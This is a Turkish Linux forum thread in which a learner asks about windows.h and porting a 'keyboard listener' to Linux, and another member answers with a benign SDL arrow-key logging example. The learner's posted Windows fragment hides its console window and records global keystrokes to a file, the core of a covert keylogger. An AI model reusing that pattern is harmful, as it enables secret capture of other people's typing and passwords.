windows.h

Başlatan İskender, 17 Kasım 2012 - 17:13:20

« önceki - sonraki »

0 Üyeler ve 1 Ziyaretçi konuyu incelemekte.

İskender

windows.h kütüphanesi nedir? Niçin Linux da çalışmaz ? Bir benzeri var mıdır Yerine kullanabileceğimiz başka bir kütüphane...

travego0403

Öncelikle arama yapalım.
http://forum.ubuntu-tr.net/index.php?topic=27477.0

Bu kütüphaneyi daha önce kullanmadım ne işe yaradığını söylerseniz bunun için platform bağımsız ya da Linux için olan kütüphaneler önerilebilir. Sanırım içerinsinde bazı özel tanımlamalar falan var. Özellikle Windows API ile ilgili. Bu yüzden Linux üzerinde çalıştırmak imkansız gibi bir şey. Örneğin yukarıdaki bağlantıda renk kodları ile alakalı bir şeyler istenmiş çözüm bulunmuş. Siz de yapmak istediğinizi söylerseniz farklı çözümler önerilebilir.

"Matematik bir dildir ve bu dilde şairlere fizikçi denir." Richard Feynman

İskender

Öncelikle arama yaptım ve o yazıyada ulaşmışştım ancak benim problemle aynı değildi ve ilk başta farklı bir şey olduğunu düşünmüştüm..

int main()
{
    bool aprete = true;

    ofstream log;
    log.open("C:\\log.txt", ofstream::out);

    if(log.fail())
    {
        cout << "Error al abrir archivo log.txt en directorio raiz" << endl;
    }

    HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
    ShowWindow(ocultar,NULL);

    while(aprete)
    {
        if (GetAsyncKeyState(VK_SPACE) == -32767){
        log << " ";
        }

kodların bir kısmı bu ...
Amacına gelinirse bir klavye dinleyici yapmaya çalışıyorum..

travego0403

Yukarıdaki kodlar WIN API kullanılarak mı yazılmış? Sanırım öyle. Eğer öyleyse bu kodları Linux üzerinde çalıştıramazsınız.

Klavye hareketlerini takip etmek için SDL, Qt kullanabilirsin. Konuyu biraz daha açabilirseniz nasıl bir klavye dinleyicisi.Dosya işlemleri falanda var. Kaydedilen tuşları dosyaya falan mı kaydediyorsunuz?
"Matematik bir dildir ve bu dilde şairlere fizikçi denir." Richard Feynman

İskender

Kaydedilen Tuşları bir dosyaya log olarak kaydedecek daha önce windows kullanırken visual basic te yapmıştım.. Şu an c++ öğreniyorum mantığı aynıdır diye yapmaya çalışıyorum..Türüne gelirsek kaydedilen tuşları bir dosyaya kaydedecek.. sadece bu ..

travego0403

SDL kullanarak küçük bir örnek yaptım. Bunun için libsdl1.2-dev kütüphanesini yazılım merkezinden kurmanız gerekiyor. Derlemek için
g++ kaynak.cpp -o program -lSDL
komutunu vermenzi gerekiyor. Sadece yön tuşlarını dinliyor. Tuşa basılı tutulduğunu anlamak içinde yorum satırları içine aldığım kısmı aktif edip diğerlerini kapatınız. Sürekli log girişi yaptığı için log.txt dosyası büyüyor ve açmak sıkıntı oluyor. Bunun için sleep() komutu falanda kullanılabilir.
#include <iostream>
#include <SDL/SDL.h>
#include <fstream>
using namespace std;

SDL_Surface *ekran=NULL;
SDL_Event olay;

int main(int argc, char const *argv[])
{

if(SDL_Init(SDL_INIT_EVERYTHING)==-1){
cout<<"SDL baslatilamadi"<<endl;
return 0;
}

ekran = SDL_SetVideoMode(640,480,32,SDL_SWSURFACE);
if(ekran==NULL){
cout<<"Pencere olusturulamadi\n";
return 1;
}
SDL_WM_SetCaption("Klavye Yon Tusları",NULL);

ofstream out("log.txt");
out<<"Kayıtlar\n";

cout<<"Klavye dinleyici Sadece yön tuslari icin"<<endl;
bool cik=false;
Uint8 *tusDurumu;


while(cik == false ) {

while(SDL_PollEvent(&olay)){
if(olay.type == SDL_QUIT) {
cik=true;
}
if( olay.type == SDL_KEYDOWN ){
cout<<"asd";
                switch( olay.key.keysym.sym ){
                    case SDLK_UP: out<<"Yukari\n"; break;
                    case SDLK_DOWN: out<<"Asagi\n"; break;
                    case SDLK_LEFT: out<<"Sol\n"; break;
                    case SDLK_RIGHT: out<<"Sag\n"; break;
                }
            }
}
/*tusDurumu=SDL_GetKeyState(NULL);
if(tusDurumu[SDLK_UP]){
out<<"Yukari tusu basili\n";
}
if(tusDurumu[SDLK_DOWN]){
out<<"Asagi tusu basili\n";
}
if(tusDurumu[SDLK_LEFT]){
out<<"Sol tusu basili\n";
}
if(tusDurumu[SDLK_RIGHT]){
out<<"Sag tusu basili\n";
}*/

}

return 0;
}


Tabi yapmak istediğiniz böyle bir şeyse.
"Matematik bir dildir ve bu dilde şairlere fizikçi denir." Richard Feynman

İskender

#6
case bölümüyle uğraşırsam tüm klavyeye geneline uygulayamaz mıyım ?

travego0403

Uygulanabilir, tabi biraz çok tekrarlı bir hal alır kodlar. Belki başka yöntemlerde bulunabilir. Burdan devam edeceksen SDL içersinde tuşların nasıl tanımlandığını öğrenmen bunları switch-case'e eklemen lazım.
"Matematik bir dildir ve bu dilde şairlere fizikçi denir." Richard Feynman

İskender

SDL için önere bileceğin kaynak var mı ?(Türkçe olursa sevinirim.)

travego0403

Kendi yazdığım notları toplayıp bir kitap haline getirmiştim. Kişisel bloğuma girersen orada bulabilirsin SDL Döküman diye. Bunun haricinde Türkçe döküman bilmiyorum.
"Matematik bir dildir ve bu dilde şairlere fizikçi denir." Richard Feynman

İskender

Teşekkürler bende bir iki tane kaynak buldum onlarla öğrenmeye çalışacağım..